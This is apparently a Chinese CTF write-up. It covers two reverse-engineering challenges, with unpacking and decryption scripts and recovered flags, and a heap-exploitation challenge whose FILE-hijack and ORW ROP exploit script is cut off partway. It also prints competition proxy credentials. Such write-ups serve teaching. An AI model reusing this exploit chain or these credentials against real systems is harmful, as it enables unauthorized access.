141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#!/usr/bin/env python3
import struct
from pathlib import Path

from unicorn import Uc, UcError, UC_ARCH_X86, UC_MODE_64, UC_HOOK_CODE
from unicorn.x86_const import *


BASE = 0x400000
STACK_BASE = 0x70000000
STACK_SIZE = 0x100000
HOOK_BASE = 0x60000000
HOOK_SIZE = 0x10000

API_ADDRS = {
"LoadLibraryA": HOOK_BASE + 0x1000,
"ExitProcess": HOOK_BASE + 0x2000,
"GetProcAddress": HOOK_BASE + 0x3000,
"VirtualProtect": HOOK_BASE + 0x4000,
"exit": HOOK_BASE + 0x5000,
}

IAT_ADDRS = {
0x41603C: "LoadLibraryA",
0x416044: "ExitProcess",
0x41604C: "GetProcAddress",
0x416054: "VirtualProtect",
0x416064: "exit",
}


def u32(buf, off):
return struct.unpack_from("<I", buf, off)[0]


def u64(buf, off):
return struct.unpack_from("<Q", buf, off)[0]


def read_c_string(uc, addr):
out = bytearray()
while True:
b = uc.mem_read(addr, 1)[0]
if b == 0:
return out.decode("ascii")
out.append(b)
addr += 1


def write_qword(uc, addr, value):
uc.mem_write(addr, struct.pack("<Q", value))


def load_image(path):
data = Path(path).read_bytes()
peoff = u32(data, 0x3C)
entry = u32(data, peoff + 24 + 16)
image_size = u32(data, peoff + 24 + 56)
headers_size = u32(data, peoff + 24 + 60)
num_sections = struct.unpack_from("<H", data, peoff + 6)[0]
opt_size = struct.unpack_from("<H", data, peoff + 20)[0]
sec_off = peoff + 24 + opt_size

sections = []
for i in range(num_sections):
off = sec_off + i * 40
name = data[off : off + 8].rstrip(b"\0").decode("ascii")
virtual_size, virtual_addr, raw_size, raw_off = struct.unpack_from("<IIII", data, off + 8)
sections.append((name, virtual_addr, virtual_size, raw_off, raw_size))

return data, entry, image_size, headers_size, sections


class Loader:
def __init__(self):
self.modules = {}
self.module_handles = {}
self.next_module = 0x71000000
self.proc_addrs = {}
self.next_proc = 0x72000000

def load_library(self, name):
key = name.lower()
if key not in self.module_handles:
self.module_handles[key] = self.next_module
self.modules[self.next_module] = key
self.next_module += 0x1000
return self.module_handles[key]

def get_proc(self, module, name):
key = (module, name)
if key not in self.proc_addrs:
self.proc_addrs[key] = self.next_proc
self.next_proc += 0x100
return self.proc_addrs[key]


def unpack_stage1(path="challenge.exe", dump_path="unpacked.bin", verbose=True):
data, entry_rva, image_size, headers_size, sections = load_image(path)
uc = Uc(UC_ARCH_X86, UC_MODE_64)
uc.mem_map(BASE, 0x30000)
uc.mem_write(BASE, data[:headers_size])
for _name, va, _vsz, roff, rsz in sections:
if rsz:
uc.mem_write(BASE + va, data[roff : roff + rsz])
uc.mem_map(STACK_BASE, STACK_SIZE)
uc.mem_map(HOOK_BASE, HOOK_SIZE)

rsp = STACK_BASE + STACK_SIZE - 0x1000
uc.reg_write(UC_X86_REG_RSP, rsp)
uc.reg_write(UC_X86_REG_RBP, 0)
uc.reg_write(UC_X86_REG_RCX, 0)
uc.reg_write(UC_X86_REG_RDX, 0)
uc.reg_write(UC_X86_REG_R8, 0)
uc.reg_write(UC_X86_REG_R9, 0)

for iat, name in IAT_ADDRS.items():
write_qword(uc, iat, API_ADDRS[name])

loader = Loader()
unpack_done = []

def api_return(retval=0):
ret_addr = struct.unpack("<Q", uc.mem_read(uc.reg_read(UC_X86_REG_RSP), 8))[0]
uc.reg_write(UC_X86_REG_RSP, uc.reg_read(UC_X86_REG_RSP) + 8)
uc.reg_write(UC_X86_REG_RAX, retval)
uc.reg_write(UC_X86_REG_RIP, ret_addr)

def hook_code(uc, address, size, _user):
if address == 0x4158D1:
unpack_done.append(address)
raise StopIteration

if address == API_ADDRS["LoadLibraryA"]:
name = read_c_string(uc, uc.reg_read(UC_X86_REG_RCX))
handle = loader.load_library(name)
if verbose:
print(f"[api] LoadLibraryA({name!r}) -> {handle:#x}")
api_return(handle)
return

if address == API_ADDRS["GetProcAddress"]:
module = uc.reg_read(UC_X86_REG_RCX)
name = read_c_string(uc, uc.reg_read(UC_X86_REG_RDX))
proc = loader.get_proc(module, name)
if verbose:
print(f"[api] GetProcAddress({module:#x}, {name!r}) -> {proc:#x}")
api_return(proc)
return

if address == API_ADDRS["VirtualProtect"]:
lpfl_old = uc.reg_read(UC_X86_REG_R9)
if lpfl_old:
uc.mem_write(lpfl_old, struct.pack("<I", 0x40))
api_return(1)
return

if address in (API_ADDRS["ExitProcess"], API_ADDRS["exit"]):
code = uc.reg_read(UC_X86_REG_RCX)
raise RuntimeError(f"process terminated early with code {code}")

uc.hook_add(UC_HOOK_CODE, hook_code)

try:
uc.emu_start(BASE + entry_rva, BASE + 0x30000)
except StopIteration:
pass
except UcError as exc:
print(f"unicorn error: {exc}")
raise

if not unpack_done:
raise RuntimeError("failed to reach unpack completion point")

dump = bytes(uc.mem_read(BASE, image_size))
if dump_path:
Path(dump_path).write_bytes(dump)
if verbose:
print(f"[+] dumped {len(dump):#x} bytes to {dump_path}")
return dump


def main():
unpack_stage1()


if __name__ == "__main__":
main()

执行后会得到:

  • unpacked.bin

解开第一层壳


三、脱壳后程序的逻辑

unpacked.bin 继续分析后,关键逻辑集中在 0x4030a0 附近。

流程大致如下:

  1. 调用 0x401550 做自检
  2. 从标准输入读一行字符串
  3. 和内存中的目标口令做 strcmp
  4. 口令正确后,把一段内嵌的 base64 数据写成第二阶段 PE 文件

有几个字符串:

  • Illegal modification or unpacking detected.
  • Error reading password.
  • Error: Invalid password!

跟交叉引用,可以看到目标口令直接放在 .rdata 里:

1
NGeQwv8eCRpINEcO

四、提取第二阶段程序

第一阶段在密码正确后,会把一段 base64 数据解码成新的 PE 文件。

这段 base64 就放在第一阶段镜像里,起始地址是0x405080

解码后得到二阶段程序stage2.bin

这个文件是一个正常的 64 位 PE,导入表也完整得多,能看到:

  • printf
  • fgets
  • MessageBoxW

字符串里还能看到:

1
2
Enter the key:
Error reading input.

注意到:

  • .hello 节在磁盘上看起来是乱码
  • .mydata 也像加密数据

并且程序启动后会先调用一段解密逻辑,把这两个节还原。

包括:

  • 0x4018b0 / 0x401840:标准 RC4 初始化和加解密
  • 0x4018f0:根据节名解密指定节
  • 0x404ef0:最终的 key 校验函数

RC4 的 key 就在0x4070c0

程序用这个 key 去解密.hello.mydata

逆向可得到stage2_decrypted.bin


五、最终校验逻辑

实际逻辑为是:

  1. 读取用户输入
  2. 做 PKCS#7 填充到 16 字节对齐
  3. 调用 0x404cb0 做加密
  4. 将结果和 .mydata 中的目标密文比较

可以把 .mydata 里的目标密文喂给对应解密函数 0x404d80,直接还原出正确明文

unicorn 单独调用内部解密例程,解出 48 字节明文后,去掉 PKCS#7 padding,得到:

1
dart{c3d4f5cc-8aab-46ce-a188-2fc453f3b288}

六、自动化脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python3
import base64
import struct
from pathlib import Path

from unicorn import Uc, UC_ARCH_X86, UC_HOOK_CODE, UC_MODE_64
from unicorn.x86_const import *

from unpack import unpack_stage1


def u32(buf, off):
return struct.unpack_from("<I", buf, off)[0]


def u64(buf, off):
return struct.unpack_from("<Q", buf, off)[0]


def parse_pe(buf):
peoff = u32(buf, 0x3C)
image_base = u64(buf, peoff + 24 + 24)
headers_size = u32(buf, peoff + 24 + 60)
num_sections = struct.unpack_from("<H", buf, peoff + 6)[0]
opt_size = struct.unpack_from("<H", buf, peoff + 20)[0]
sec_off = peoff + 24 + opt_size
sections = []
for i in range(num_sections):
off = sec_off + i * 40
name = buf[off : off + 8].rstrip(b"\0").decode("ascii")
virtual_size, virtual_addr, raw_size, raw_off = struct.unpack_from("<IIII", buf, off + 8)
sections.append((name, virtual_addr, virtual_size, raw_off, raw_size))
return image_base, headers_size, sections


def rva_to_offset(sections, rva):
for _name, va, vsz, roff, rsz in sections:
if va <= rva < va + max(vsz, rsz):
return roff + (rva - va)
if rva < 0x1000:
return rva
raise ValueError(f"unmapped rva {rva:#x}")


def rc4_crypt(data, key):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]

out = bytearray(data)
i = 0
j = 0
for pos, value in enumerate(out):
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
out[pos] = value ^ s[(s[i] + s[j]) & 0xFF]
return bytes(out)


def extract_stage2(unpacked_image):
# First-stage payload stores the second PE as a base64 blob at 0x405080.
start = 0x5080
end = unpacked_image.index(b"\0", start)
return base64.b64decode(unpacked_image[start:end])


def decrypt_stage2_sections(stage2):
image_base, _headers_size, sections = parse_pe(stage2)
del image_base
key_off = rva_to_offset(sections, 0x70C0)
key = stage2[key_off : key_off + 0x20]

out = bytearray(stage2)
for name in (".hello", ".mydata"):
for sec_name, _va, _vsz, roff, rsz in sections:
if sec_name == name:
out[roff : roff + rsz] = rc4_crypt(out[roff : roff + rsz], key)
break
return bytes(out)


def call_stage2_decrypt(stage2_decrypted, ciphertext_len):
image_base, headers_size, sections = parse_pe(stage2_decrypted)
uc = Uc(UC_ARCH_X86, UC_MODE_64)
uc.mem_map(image_base, 0x20000)
uc.mem_write(image_base, stage2_decrypted[:headers_size])
for _name, va, _vsz, roff, rsz in sections:
if rsz:
uc.mem_write(image_base + va, stage2_decrypted[roff : roff + rsz])

stack_base = 0x70000000
out_base = 0x60000000
uc.mem_map(stack_base, 0x100000)
uc.mem_map(out_base, 0x10000)

rsp = stack_base + 0x80000
ret_addr = 0xDEADBEEFCAFEBABE
uc.mem_write(rsp, struct.pack("<Q", ret_addr))
uc.mem_write(rsp + 0x28, struct.pack("<Q", out_base))

uc.reg_write(UC_X86_REG_RSP, rsp)
uc.reg_write(UC_X86_REG_RCX, 0x408031)
uc.reg_write(UC_X86_REG_RDX, ciphertext_len)
uc.reg_write(UC_X86_REG_R8, 0x408001)
uc.reg_write(UC_X86_REG_R9, 0x408021)

def hook_code(uc, address, _size, _user):
if address == ret_addr:
raise StopIteration

uc.hook_add(UC_HOOK_CODE, hook_code)

try:
uc.emu_start(0x404D80, ret_addr)
except StopIteration:
pass

return bytes(uc.mem_read(out_base, ciphertext_len))


def pkcs7_unpad(data):
pad = data[-1]
if pad == 0 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
return data
return data[:-pad]


def main():
unpacked = unpack_stage1(verbose=False)
Path("unpacked.bin").write_bytes(unpacked)

stage2 = extract_stage2(unpacked)
Path("stage2.bin").write_bytes(stage2)

stage2_decrypted = decrypt_stage2_sections(stage2)
Path("stage2_decrypted.bin").write_bytes(stage2_decrypted)

flag = pkcs7_unpad(call_stage2_decrypt(stage2_decrypted, 48)).decode("ascii")
print(flag)


if __name__ == "__main__":
main()

脚本做了以下几件事:

  1. 仿真第一层壳,生成 unpacked.bin
  2. 从一阶段镜像提取 base64,生成 stage2.bin
  3. 用 RC4 解密 .hello.mydata,生成 stage2_decrypted.bin
  4. 直接调用二阶段内部解密函数,还原目标明文
  5. 输出最终 flag

最终答案:

1
dart{c3d4f5cc-8aab-46ce-a188-2fc453f3b288}

re3

解题思路

这题的思路是:

  1. client 是 PyInstaller 打包程序。
  2. Python 入口脚本里藏着发送文件名和密钥材料。
  3. crypt_core.so 实现的是自定义常量的 24 轮 SM4 变体。
  4. capture.pcap 里已经给了加密后的三个文件。
  5. 解出 flag.txt 就能拿到最终 flag。

分析过程

1. 先看主程序,发现不是原生逻辑

题目给了一个 ELF64 程序 client 和一份流量 capture.pcap

先用 IDA Pro 打开 client,从 main 跟进去可以发现主流程进入的是一个很大的初始化函数,整体结构非常像 PyInstaller bootloader,而不是程序的实际逻辑。

后续把 PyInstaller 归档拆开,可以拿到:

1
2
3
4
5
client          # Python 入口脚本
crypt_core.so # 核心加密扩展
base_library.zip
PYZ.pyz
...
2. 提取 Python 入口脚本

把入口脚本反编译后,能还原出大致逻辑:

  1. 程序会检查命令行参数是否满足一个 MD5 校验。
  2. 校验通过后,连接服务器。
  3. 把几个本地文件加密后按 JSON 发出去。

能直接还原出的关键信息有:

1
2
3
4
5
FILES_TO_SEND = [
"readme.txt",
"flag.txt",
"config.txt",
]

JSON 结构是:

1
2
3
4
{
"filename": "...",
"ciphertext": "..."
}

脚本里还有一段被混淆过的密钥材料。把它的自定义编码解出来以后,可以得到:

1
passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B

而实际调用加密函数时用的是:

1
key[:16]

所以真正用于加密的 16 字节密钥是:

1
passvkcDKWLAA45o
3. 分析 crypt_core.so

crypt_core.so 只导出一个 Python 层可见接口:

1
encode_data(plaintext, key)

在 WSL 里用 Python 3.10 把这个 .so 动态加载起来,跑了一组基准向量。发现:

  1. 16 字节分组。
  2. 使用 PKCS#7 padding。
  3. 整体是 ECB 逐块加密。

回到反汇编看轮函数,能看出它非常接近 SM4 的框架:

  1. 有 S-box。
  2. 有 FK、CK 常量表。
  3. 轮函数是 tau + L
  4. 密钥扩展是 tau + L'

但需要注意两点:

  1. 这不是标准 SM4 常量,而是自定义 S-box/FK/CK。
  2. 它不是标准 32 轮,而是 24 轮。

算法的加密逻辑为:

1
2
3
自定义 24 轮 SM4 变体
+ ECB
+ PKCS#7 padding
4. 从流量里取密文并解密

capture.pcap 里能提取出 3 个 JSON 载荷,分别对应:

  1. readme.txt
  2. flag.txt
  3. config.txt

把每个 ciphertext 取出来,用上面恢复的 16 字节密钥和自定义 24 轮算法解密,得到:

readme.txt:

1
2
3
4
5
6
7
System Configuration Backup
===========================
Created: 2026-03-15
Author: admin

This backup contains sensitive configuration files.
Handle with care!

flag.txt:

1
dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220}

config.txt:

1
2
3
server_host=192.168.1.100
server_port=8888
test config

解题脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
import argparse
import re
from pathlib import Path


KEY = b"passvkcDKWLAA45o"
SBOX = bytes.fromhex(
"ecca0ef308f02aa23b182b5c37bd12a8"
"05d3a1574f96fcf5a7141966589bbfb4"
"39d51e1a30bc6c80b7ed4106d91767cd"
"1d2cae240313c65383110af7c04dc49e"
"8d001fc33f359fcb729d166facce3c5e"
"a6e17b343632b895918952c1e7a33348"
"04cf10eb25bb8e0f816eb343458f49f8"
"4b59074adefdc8d0848bfbdadb28d43e"
"a42f56beef86c762ea76e9d674a56bf9"
"987d3a265aaf870d1b2eb2e36accf1ff"
"d7f61cc9e870204e233dc2aadc0bf25f"
"7afa889747d10c02317ff4751593388a"
"429071dd73557eb55b294c9ae08cb0e5"
"642701dfad2179949251697c22635085"
"2de2404644a982b661d8d2b968abb15d"
"655477a0c5ba609ce4feee99e6786d09"
)
FK = [0x3B1F86A4, 0x83F7332D, 0x58ADBA8E, 0x71DC3F73]
CK = [
0x9A148706, 0x657904A4, 0xB0535D2D, 0x865C7AA7,
0xF7FEF2D4, 0xF09D3A8B, 0x67CB0390, 0xF3B1D1AA,
0x1941EDE3, 0xCDD55650, 0x272AA612, 0x397B1DC6,
0x767AAB6B, 0x71A39044, 0x8A77F592, 0x7B5A7907,
0x97D18251, 0xCA1960CB, 0x44B54134, 0x3F30C70A,
0x5EB36C72, 0x5569E716, 0x51BF832C, 0xF13A95BC,
]
MASK32 = 0xFFFFFFFF
PAYLOAD_RE = re.compile(
rb'\{"filename":\s*"([^"]+)",\s*"ciphertext":\s*"([0-9a-f]+)"\}'
)


def rol32(value: int, shift: int) -> int:
return ((value << shift) | (value >> (32 - shift))) & MASK32


def tau(value: int) -> int:
return (
(SBOX[(value >> 24) & 0xFF] << 24)
| (SBOX[(value >> 16) & 0xFF] << 16)
| (SBOX[(value >> 8) & 0xFF] << 8)
| SBOX[value & 0xFF]
)


def linear_encrypt(value: int) -> int:
value = tau(value)
return value ^ rol32(value, 2) ^ rol32(value, 10) ^ rol32(value, 18) ^ rol32(value, 24)


def linear_expand(value: int) -> int:
value = tau(value)
return value ^ rol32(value, 13) ^ rol32(value, 23)


def expand_round_keys(key: bytes) -> list[int]:
mk = [int.from_bytes(key[index : index + 4], "big") for index in range(0, 16, 4)]
words = [mk[index] ^ FK[index] for index in range(4)]
round_keys: list[int] = []
for index in range(24):
next_word = (
words[index]
^ linear_expand(words[index + 1] ^ words[index + 2] ^ words[index + 3] ^ CK[index])
) & MASK32
words.append(next_word)
round_keys.append(next_word)
return round_keys


def crypt_block(block: bytes, round_keys: list[int]) -> bytes:
words = [int.from_bytes(block[index : index + 4], "big") for index in range(0, 16, 4)]
for index, round_key in enumerate(round_keys):
next_word = (
words[index]
^ linear_encrypt(words[index + 1] ^ words[index + 2] ^ words[index + 3] ^ round_key)
) & MASK32
words.append(next_word)
return b"".join(word.to_bytes(4, "big") for word in words[-4:][::-1])


def decrypt_payload(ciphertext: bytes, key: bytes) -> bytes:
round_keys = expand_round_keys(key)[::-1]
plaintext = b"".join(
crypt_block(ciphertext[index : index + 16], round_keys)
for index in range(0, len(ciphertext), 16)
)
pad = plaintext[-1]
if not 1 <= pad <= 16 or plaintext[-pad:] != bytes([pad]) * pad:
raise ValueError(f"invalid PKCS#7 padding: {pad}")
return plaintext[:-pad]


def extract_payloads(capture_path: Path) -> list[tuple[str, bytes]]:
capture_data = capture_path.read_bytes()
payloads = []
for match in PAYLOAD_RE.finditer(capture_data):
filename = match.group(1).decode("utf-8")
ciphertext = bytes.fromhex(match.group(2).decode("ascii"))
payloads.append((filename, ciphertext))
if not payloads:
raise ValueError(f"no JSON payloads found in {capture_path}")
return payloads


def self_test() -> None:
expected = bytes.fromhex("8d9647d8fd9bc53a2c4977db4b071528")
block = bytes(range(16))
actual = crypt_block(block, expand_round_keys(KEY))
if actual != expected:
raise AssertionError(f"self-test failed: {actual.hex()} != {expected.hex()}")


def main() -> None:
parser = argparse.ArgumentParser(description="Solve re3 from capture.pcap")
parser.add_argument(
"capture",
nargs="?",
default=r"C:\Users\huaji\Desktop\eater\ccsssc\re3\capture.pcap",
help="path to the challenge capture",
)
args = parser.parse_args()

self_test()

payloads = extract_payloads(Path(args.capture))
for filename, ciphertext in payloads:
plaintext = decrypt_payload(ciphertext, KEY)
print(f"=== {filename} ===")
print(plaintext.decode("utf-8"))


if __name__ == "__main__":
main()

最终答案

1
dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220}

MailSystem

题目信息

64 位 PIE 菜单堆题,保护全开:

  • Full RELRO
  • Canary
  • NX
  • PIE

同时有 seccomp,禁用execveexecveat,需要 orw 读 /flag

解题思路:

1
2
3
4
5
6
7
register off-by-one 覆盖 admin 指针
-> \x00/\x00 登录 fake-admin
-> 负数索引越界到 stderr/stdout/stdin
-> stderr leak libc
-> fake stdout 任意读拿 environ / PIE / users[]
-> fake stdin 任意写返回地址
-> ORW 读 flag

解题过程

1. 注册 off-by-one 覆盖 admin

注册时查空槽会扫到第 13 个位置,而 users[] 只有 12 个用户槽。

全局布局:

1
2
3
4
5
stdout @ pie+0x7020
stdin @ pie+0x7030
stderr @ pie+0x7040
users @ pie+0x7060
admin @ pie+0x70c0

所以第 13 次实际写到的是:

1
users[12] == admin ptr

做法:

  1. 注册 8 个用户
  2. 让 1~5 号被举报封号
  3. 继续注册 5 次
  4. 第 13 次注册把 admin 覆盖成一个新的零块
2. scanf("%s") 支持直接发 \x00

管理员登录比较的是:

1
2
admin+0x32  用户名
admin+0x68 密码

覆盖后的 fake-admin chunk 是全零,所以直接发送:

1
2
io.send(b"\x00\n")
io.send(b"\x00\n")

即可登录管理员。

3. 管理员转发存在负数索引越界

管理员 “Mail user to user” 只检查 >12,不检查 <=0

鉴于:

1
2
3
src=-3 -> stderr
dst=-7 -> stdout
dst=-5 -> stdin

可用于劫持IO_FILE


4.程序内 leak
  1. stderr 泄露 libc

用户对象布局里:

1
2
draft content @ +0x110
inbox content @ +0x000

所以管理员转发:

1
forward(-3, 6, 1)

会把 _IO_2_1_stderr_+0x110 的内容送进用户 6 inbox。

实测泄露值满足:

1
leak = libc_base + 0x21b803

因此:

1
libc_base = leak - 0x21b803
  1. fake stdout 做任意读

拿到 libc 后,直接伪造 _IO_2_1_stdout_,用 pwntools 的:

1
FileStructure().write(addr, size)

生成 fake FILE,再通过:

1
2
3
src=<user>
dst=-7
type=2

覆盖 stdout,后续程序输出就会把目标地址内容带出来。

  1. 泄露 environ、stack、PIE、users[]

先读:

1
environ = *(libc_base + libc.sym["environ"])

再读栈窗口:

1
environ - 0x4000 ~ environ + 0x1000

按 8 字节扫描,找低 12 位为:

1
0x343f

因为:

1
login + 0x9a = pie_base + 0x343f

于是:

1
pie_base = saved_rip - 0x343f

命中的栈地址就是 admin 菜单保存的返回地址,进一步有:

1
sub_saved_rip = admin_saved_rip - 0x20

最后再读:

1
pie_base + 0x7060

拿到 users[] 的 12 个 heap 指针。


5.fake stdin 写 ROP

伪造 _IO_2_1_stdin_ 的关键字段:

1
2
3
4
5
6
_IO_read_base = script_addr
_IO_read_ptr = script_addr
_IO_read_end = script_addr + len(script)
_IO_buf_base = sub_saved_rip
_IO_buf_end = sub_saved_rip + 0x200
fileno = 0

其中 script 写成:

1
2
3
1
6
1

含义是:

  1. admin menu 选 Change user info
  2. 选用户 6
  3. Change username

这样程序会执行一次scanf("%31s")

但由于 stdin 已被替换,这次 read() 会把后面发送的 ROP 直接写到 sub_saved_rip


6.ORW ROP

由于 seccomp,不走 shell,直接 ORW:

1
2
3
open("/flag", 0, 0)
read(3, buf, 0x80)
write(1, buf, 0x80)

关键 gadget的偏移量如下:

1
2
3
4
pop rdi ; ret            = libc + 0x2a3e5
pop rsi ; ret = libc + 0x2be51
pop rdx ; pop rbx ; ret = libc + 0x904a9
ret = libc + 0x29139

7.远程连接

远程不是直连,而是先走 SOCKS5 用户名/密码代理,再 CONNECT 到192.0.100.2:9999

代理参数为:

1
2
3
proxy = 3.dart.ccsssc.com:26522
user = wqvy2mdx
pass = ufoo83k1

脚本里直接手写了 RFC1929 的 SOCKS5 认证,然后把 socket 包装成 pwntools tube。

运行方式:

1
2
3
4
HOST=192.0.100.2 PORT=9999 \
PROXY_HOST=3.dart.ccsssc.com PROXY_PORT=26522 \
PROXY_USER=wqvy2mdx PROXY_PASS=ufoo83k1 \
./.venv/bin/python exp.py

完整 exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
#!/usr/bin/env python3
from pwn import *
from pwnlib.filepointer import FileStructure
import os
import socket
import struct

context.clear(arch="amd64")
context.log_level = "error"
context.binary = ELF("./pwn", checksec=False)
LIBC = ELF("./libc.so.6", checksec=False)

HOST = os.environ.get("HOST")
PORT = os.environ.get("PORT")
PROXY_HOST = os.environ.get("PROXY_HOST")
PROXY_PORT = os.environ.get("PROXY_PORT")
PROXY_USER = os.environ.get("PROXY_USER")
PROXY_PASS = os.environ.get("PROXY_PASS")

LD = "./ld-linux-x86-64.so.2"
LOCAL_LIBS = "."

USERS_ARRAY_OFF = 0x7060
LOGIN_RET_OFF = 0x343F
STDERR_LEAK_OFF = 0x21B803 # observed _IO_2_1_stderr_+0x110 qword

# ROPgadget / pwntools ROP over ./libc.so.6
POP_RDI_OFF = 0x2A3E5
POP_RSI_OFF = 0x2BE51
POP_RDX_RBX_OFF = 0x904A9
RET_OFF = 0x29139
BLIND_IDLE = 2.0


def start():
if HOST and PORT and PROXY_HOST and PROXY_PORT and PROXY_USER and PROXY_PASS:
return remote.fromsocket(connect_via_socks5(
proxy_host=PROXY_HOST,
proxy_port=int(PROXY_PORT),
proxy_user=PROXY_USER.encode(),
proxy_pass=PROXY_PASS.encode(),
target_host=HOST,
target_port=int(PORT),
))
if HOST and PORT:
return remote(HOST, int(PORT))
return process([LD, "--library-path", LOCAL_LIBS, "./pwn"])


def recv_exact(sock, size):
data = b""
while len(data) < size:
chunk = sock.recv(size - len(data))
if not chunk:
raise EOFError("short SOCKS5 recv")
data += chunk
return data


def connect_via_socks5(proxy_host, proxy_port, proxy_user, proxy_pass, target_host, target_port):
sock = socket.create_connection((proxy_host, proxy_port), timeout=10)

# SOCKS5 greeting: username/password auth.
sock.sendall(b"\x05\x01\x02")
resp = recv_exact(sock, 2)
if resp != b"\x05\x02":
raise RuntimeError(f"unexpected SOCKS5 method response: {resp.hex()}")

# Username/password subnegotiation (RFC 1929).
if len(proxy_user) > 255 or len(proxy_pass) > 255:
raise ValueError("proxy credentials too long")
auth = b"\x01" + bytes([len(proxy_user)]) + proxy_user + bytes([len(proxy_pass)]) + proxy_pass
sock.sendall(auth)
resp = recv_exact(sock, 2)
if resp != b"\x01\x00":
raise RuntimeError(f"SOCKS5 auth failed: {resp.hex()}")

try:
addr = socket.inet_aton(target_host)
atyp = b"\x01"
addr_field = addr
except OSError:
target_host_b = target_host.encode()
atyp = b"\x03"
addr_field = bytes([len(target_host_b)]) + target_host_b

req = b"\x05\x01\x00" + atyp + addr_field + struct.pack(">H", target_port)
sock.sendall(req)
head = recv_exact(sock, 4)
if head[1] != 0:
raise RuntimeError(f"SOCKS5 connect failed: {head.hex()}")

if head[3] == 1:
recv_exact(sock, 4 + 2)
elif head[3] == 3:
recv_exact(sock, recv_exact(sock, 1)[0] + 2)
elif head[3] == 4:
recv_exact(sock, 16 + 2)
else:
raise RuntimeError(f"bad SOCKS5 atyp: {head[3]}")

sock.settimeout(None)
return sock


def reg(io, idx):
io.sendline(b"2")
io.recvuntil(b"Input your name: ")
io.sendline(f"u{idx}".encode())
io.recvuntil(b"Input your password: ")
io.sendline(f"p{idx}".encode())
io.recvuntil(b"Your choice: ")


def login_user(io, idx):
io.sendline(b"1")
io.recvuntil(b"Input your name: ")
io.sendline(f"u{idx}".encode())
io.recvuntil(b"Input your password: ")
io.sendline(f"p{idx}".encode())
io.recvuntil(b"Your choice: ")


def login_admin_with_nul(io):
io.sendline(b"1")
io.recvuntil(b"Input your name: ")
io.send(b"\x00\n")
io.recvuntil(b"Input your password: ")
io.send(b"\x00\n")
io.recvuntil(b"Your choice: ")


def write_mail(io, data):
io.sendline(b"1")
io.recvuntil(b"(1-256): ")
io.sendline(str(len(data)).encode())
io.recvuntil(b"bytes):\n")
io.send(data)
io.recvuntil(b"Your choice: ")


def send_mail(io, dst):
io.sendline(b"3")
io.recvuntil(b"(input user ID 1-12)")
io.sendline(str(dst).encode())
out = io.recvuntil((b"Overwrite? (y/n): ", b"Your choice: ", b"Returning to login menu..."))
if out.endswith(b"Overwrite? (y/n): "):
io.sendline(b"y")
out += io.recvuntil((b"Your choice: ", b"Returning to login menu..."))
if b"Returning to login menu..." in out:
out += io.recvuntil(b"Your choice: ")
return out


def admin_mail_to_user(io, uid, data):
io.sendline(b"3")
io.recvuntil(b"Enter user ID to send mail to : (1-12)")
io.sendline(str(uid).encode())
io.recvuntil(b"How many bytes do you want to write? (1-256): ")
io.sendline(str(len(data)).encode())
io.recvuntil(b"bytes):\n")
io.send(data)
out = io.recvuntil((b"Overwrite? (y/n): ", b"Your choice: "))
if out.endswith(b"Overwrite? (y/n): "):
io.sendline(b"y")
out += io.recvuntil(b"Your choice: ")
return out


def forward(io, src, dst, which):
